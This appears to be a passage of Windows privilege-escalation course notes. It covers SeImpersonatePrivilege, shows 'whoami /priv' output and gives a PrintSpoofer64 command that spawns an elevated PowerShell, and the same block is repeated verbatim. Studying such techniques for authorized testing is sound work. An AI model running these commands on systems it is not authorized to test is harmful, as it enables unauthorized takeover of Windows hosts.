SeImpersonatePrivilege Other privileges that may lead to privilege escalation are **SeBackupPrivilege, SeAssignPrimaryToken, SeLoadDriver, and SeDebug.** In this section, we'll closely inspect privilege escalation vectors in the context of SeImpersonatePrivilege.
whoami /priv
Privilege Name Description State
============================= ========================================= ========
SeSecurityPrivilege Manage auditing and security log Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
**SeImpersonatePrivilege Impersonate a client after authentication Enabled **
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
.\PrintSpoofer64.exe -i -c powershell.exe
-cmd "cmd /c whoami"
whoami /priv
Privilege Name Description State
============================= ========================================= ========
SeSecurityPrivilege Manage auditing and security log Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
**SeImpersonatePrivilege Impersonate a client after authentication Enabled **
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
.\PrintSpoofer64.exe -i -c powershell.exe
-cmd "cmd /c whoami"